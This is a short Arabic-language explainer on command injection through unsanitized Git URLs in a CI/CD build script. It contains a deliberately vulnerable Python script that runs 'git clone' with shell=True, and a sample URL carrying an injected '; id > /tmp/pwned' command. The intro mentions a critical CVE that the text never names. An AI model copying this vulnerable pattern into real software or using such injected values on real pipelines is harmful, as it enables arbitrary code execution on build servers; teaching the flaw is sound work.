
يوضّح حقن الأوامر عبر عناوين Git غير المعقّمة في خطوط أنابيب CI/CD، بما في ذلك سكربت بناء هشّ ومثال استغلال لثغرة CVE حرجة.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
يستخدم سكربت خط أنابيب CI/CD عناوين مستودعات Git المقدمة من المستخدم دون تنقية في أمر shell. يمكن للمهاجم حقن أوامر shell عبر تضمين أحرف خاصة (مثل ; و&&) في العنوان، مما يؤدي إلى تنفيذ أوامر عشوائية على خادم البناء.
شغّل السكربت الضعيف:
python cicd_build.py
ينفّذ الأمر id المحقون، مما ينشئ الملف /tmp/pwned.